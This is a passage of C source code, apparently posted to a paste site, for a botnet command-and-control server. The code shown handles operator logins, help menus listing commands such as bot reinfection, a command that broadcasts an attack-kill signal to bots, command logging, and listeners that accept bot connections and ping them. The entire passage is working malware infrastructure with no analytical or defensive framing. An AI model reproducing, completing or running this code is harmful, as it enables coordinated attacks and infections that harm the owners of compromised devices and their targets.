  721. sprintf(helpline24, "[-] REINFECT BOTS - REINFECT\r\n");
  722. sprintf(helpline25, "[-] CLEARSCREEN - CLEAR\r\n");
  723. sprintf(helpline26, "[-] LOGOUT - LOGOUT\r\n");
  724.  
  725.  
  726.  
  727. if(send(datafd, helpline1, strlen(helpline1), MSG_NOSIGNAL) == -1) goto end;
  728. if(send(datafd, helpline2, strlen(helpline2), MSG_NOSIGNAL) == -1) goto end;
  729. if(send(datafd, helpline3, strlen(helpline3), MSG_NOSIGNAL) == -1) goto end;
  730. if(send(datafd, helpline4, strlen(helpline4), MSG_NOSIGNAL) == -1) goto end;
  731. if(send(datafd, helpline5, strlen(helpline5), MSG_NOSIGNAL) == -1) goto end;
  732. if(send(datafd, helpline6, strlen(helpline6), MSG_NOSIGNAL) == -1) goto end;
  733. if(send(datafd, helpline7, strlen(helpline7), MSG_NOSIGNAL) == -1) goto end;
  734. if(send(datafd, helpline8, strlen(helpline8), MSG_NOSIGNAL) == -1) goto end;
  735. if(send(datafd, helpline9, strlen(helpline9), MSG_NOSIGNAL) == -1) goto end;
  736. if(send(datafd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  737. if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  738. if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  739. if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  740. if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end;
  741. if(send(datafd, helpline15, strlen(helpline15), MSG_NOSIGNAL) == -1) goto end;
  742. if(send(datafd, helpline16, strlen(helpline16), MSG_NOSIGNAL) == -1) goto end;
  743. if(send(datafd, helpline17, strlen(helpline17), MSG_NOSIGNAL) == -1) goto end;
  744. if(send(datafd, helpline18, strlen(helpline18), MSG_NOSIGNAL) == -1) goto end;
  745. if(send(datafd, helpline19, strlen(helpline19), MSG_NOSIGNAL) == -1) goto end;
  746. if(send(datafd, helpline20, strlen(helpline20), MSG_NOSIGNAL) == -1) goto end;
  747. if(send(datafd, helpline21, strlen(helpline21), MSG_NOSIGNAL) == -1) goto end;
  748. if(send(datafd, helpline22, strlen(helpline22), MSG_NOSIGNAL) == -1) goto end;
  749. if(send(datafd, helpline23, strlen(helpline23), MSG_NOSIGNAL) == -1) goto end;
  750. if(send(datafd, helpline24, strlen(helpline24), MSG_NOSIGNAL) == -1) goto end;
  751. if(send(datafd, helpline25, strlen(helpline25), MSG_NOSIGNAL) == -1) goto end;
  752. if(send(datafd, helpline26, strlen(helpline26), MSG_NOSIGNAL) == -1) goto end;
  753. pthread_create(&title, NULL, &TitleWriter, sock);
  754. continue;
  755. }
  756. if(strstr(buf, "KILL"))
  757. {
  758. char killattack [2048];
  759. memset(killattack, 0, 2048);
  760. char killattack_msg [2048];
  761.  
  762. sprintf(killattack, "!* KILLATTK\r\n");
  763. broadcast(killattack, datafd, "!* KILLATTK");
  764.  
  765. sprintf(killattack_msg, "Attack Killed!\r\n");
  766. if(send(datafd, killattack_msg, strlen(killattack_msg), MSG_NOSIGNAL) == -1) goto end;
  767. continue;
  768. }
  769. if(strstr(buf, "CLEAR"))
  770. {
  771. char clearscreen [2048];
  772. memset(clearscreen, 0, 2048);
  773. sprintf(clearscreen, "\033[2J\033[1;1H");
  774. if(send(datafd, clearscreen, strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  775. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  776. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  777. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  778. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  779. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  780. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  781. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  782. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  783. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  784. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  785. if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
  786. if(send(datafd, ascii_banner_line12, strlen(ascii_banner_line12), MSG_NOSIGNAL) == -1) goto end;
  787. if(send(datafd, ascii_banner_line13, strlen(ascii_banner_line13), MSG_NOSIGNAL) == -1) goto end;
  788. if(send(datafd, ascii_banner_line14, strlen(ascii_banner_line14), MSG_NOSIGNAL) == -1) goto end;
  789. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  790. while(1) {
  791. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  792. if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  793. break;
  794. }
  795. continue;
  796. }
  797. if(strstr(buf, "LOGOUT"))
  798. {
  799. char logoutmessage [2048];
  800. memset(logoutmessage, 0, 2048);
  801. sprintf(logoutmessage, "Bye, %s", accounts[find_line].username);
  802. if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  803. sleep(5);
  804. goto end;
  805. }
  806. trim(buf);
  807. if(send(datafd, "\x1b[31m> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  808. if(strlen(buf) == 0) continue;
  809. printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  810.  
  811. FILE *LogFile;
  812. LogFile = fopen("server_log.txt", "a");
  813. time_t now;
  814. struct tm *gmt;
  815. char formatted_gmt [50];
  816. char lcltime[50];
  817. now = time(NULL);
  818. gmt = gmtime(&now);
  819. strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  820. fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  821. fclose(LogFile);
  822. broadcast(buf, datafd, accounts[find_line].username);
  823. memset(buf, 0, 2048);
  824. }
  825. end:
  826. managements[datafd].connected = 0;
  827. close(datafd);
  828. OperatorsConnected--;
  829. }
  830. void *BotListener(int port) {
  831. int sockfd, newsockfd;
  832. socklen_t clilen;
  833. struct sockaddr_in serv_addr, cli_addr;
  834. sockfd = socket(AF_INET, SOCK_STREAM, 0);
  835. if (sockfd < 0) perror("ERROR opening socket");
  836. bzero((char *) &serv_addr, sizeof(serv_addr));
  837. serv_addr.sin_family = AF_INET;
  838. serv_addr.sin_addr.s_addr = INADDR_ANY;
  839. serv_addr.sin_port = htons(port);
  840. if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) perror("ERROR on binding");
  841. listen(sockfd,5);
  842. clilen = sizeof(cli_addr);
  843. while(1) {
  844. newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  845. if (newsockfd < 0) perror("ERROR on accept");
  846. pthread_t thread;
  847. pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  848. }}
  849. int main (int argc, char *argv[], void *sock)//~B1NARY~
  850. {
  851. signal(SIGPIPE, SIG_IGN);
  852. int s, threads, port;
  853. struct epoll_event event;
  854. if (argc != 4) {
  855. fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  856. exit (EXIT_FAILURE);
  857. }
  858. port = atoi(argv[3]);
  859. telFD = fopen("telnet.txt", "a+");
  860. threads = atoi(argv[2]);
  861. listenFD = create_and_bind (argv[1]);
  862. if (listenFD == -1) abort ();
  863. s = make_socket_non_blocking (listenFD);
  864. if (s == -1) abort ();
  865. s = listen (listenFD, SOMAXCONN);
  866. if (s == -1) {
  867. perror ("listen");
  868. abort ();
  869. }
  870. epollFD = epoll_create1 (0);
  871. if (epollFD == -1) {
  872. perror ("epoll_create");
  873. abort ();
  874. }
  875. event.data.fd = listenFD;
  876. event.events = EPOLLIN | EPOLLET;
  877. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, listenFD, &event);
  878. if (s == -1) {
  879. perror ("epoll_ctl");
  880. abort ();
  881. }
  882. pthread_t thread[threads + 2];
  883. while(threads--) {
  884. pthread_create( &thread[threads + 1], NULL, &BotEventLoop, (void *) NULL);
  885. }
  886. pthread_create(&thread[0], NULL, &BotListener, port);
  887. while(1) {
  888. broadcast("PING", -1, "LEL");
  889. sleep(60);
  890. }
  891. close (listenFD);
  892. return EXIT_SUCCESS;
  893. }
Add Comment
Please, Sign In to add comment